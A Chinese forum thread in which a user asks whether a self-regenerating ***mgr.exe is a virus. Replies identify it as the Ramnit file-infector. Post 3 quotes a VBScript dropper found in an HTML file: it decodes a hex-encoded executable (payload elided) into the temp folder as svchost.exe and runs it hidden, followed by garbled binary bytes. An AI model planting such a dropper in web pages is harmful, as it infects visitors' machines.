病毒吧 关注:308,943贴子:1,241,599
  • 18回复贴,共1

这个是病毒吗?自动生成 ***mgr.exe

只看楼主收藏回复

删除之后一旦运行原exe就会自动生成,这个exe点击没反应


IP属地:山西1楼2025-05-18 12:35回复
    原本程序还能正常运行,其他文件也都正常。
    印象中是大概十年前,朋友的U盘插我电脑(win7),当时用的硬盘就都染上了。
    现在早就换了新电脑(win10),装上当时的硬盘,运行它里边的文件还是会生成这个。其他程序没受影响,往当时硬盘里复制文件也不会被影响。


    IP属地:山西2楼2025-05-18 12:42
    收起回复
      2025-08-01 11:09:49
      广告
      不感兴趣
      开通SVIP免广告
      在它所在的硬盘里有个HTML文件,里面有:
      <SCRIPT Language=VBScript><!--
      DropFileName = "svchost.exe"
      WriteData = "4D5A900003(超级长的乱码)"
      Set FSO = CreateObject("Scripting.FileSystemObject")
      DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
      If FSO.FileExists(DropPath)=False Then
      Set FileObj = FSO.CreateTextFile(DropPath, True)
      For i = 1 To Len(WriteData) Step 2
      FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
      Next
      FileObj.Close
      End If
      Set WSHshell = CreateObject("WScript.Shell")
      WSHshell.Run DropPath, 0
      //--></SCRIPT><!--p;f钅M沦|劋h嗪)捂Jkh韗 ?W檭?飙)7兌\诸鐙銤M?1?][??+$偶*歠絻?{? !鈰帴趍IY时各捺鳚巫韩
      縍j禥"搚>縿0U?Z鏵V?c?V布 C~篹鱮b複詪>?雱
      袵?憘睖;7k&葬M妧纬紟镲莖郱蓧h^询麂<瀏`q??搗┤癤榓倿豞~K嵦X?鯵辎萾/&y"?@Oq#徹瘍:帑8QC?齺甙主X網?XTF>R植?m?痾肠摾@粗岅靜?洌M擶誢9葕躵鳲莠n騨c`e'丯8?}費憉詚蠸1侚獴唀酳?Y栧?a赉`?/?僺G^诌
      aP醿;颏,帯?潬?咐颢tz哒PZ`?Β2赜氺?t"葖
      襟F鼯q栆f輲虵醪I錇?d|?垗,驦郒簉+虉坊G頽P 线 闗R)P?闗闗闗O?螝b祓K 闗-->


      IP属地:山西3楼2025-05-18 12:54
      回复
        还有一堆dll、作弊器火绒也报毒,不过是以前下载的破解游戏,不知道正不正常


        IP属地:山西4楼2025-05-18 13:03
        收起回复
          这就是病毒


          IP属地:山东5楼2025-05-18 13:04
          收起回复
            用别怕,怕别用,你都开桂了还怕毒?


            IP属地:山西来自Android客户端6楼2025-05-26 14:21
            收起回复
              你这是被ramnit感染型病毒感染了,必须全部清除,不能运行源文件,建议使用卡巴斯基


              IP属地:广西来自Android客户端7楼2025-05-26 22:39
              回复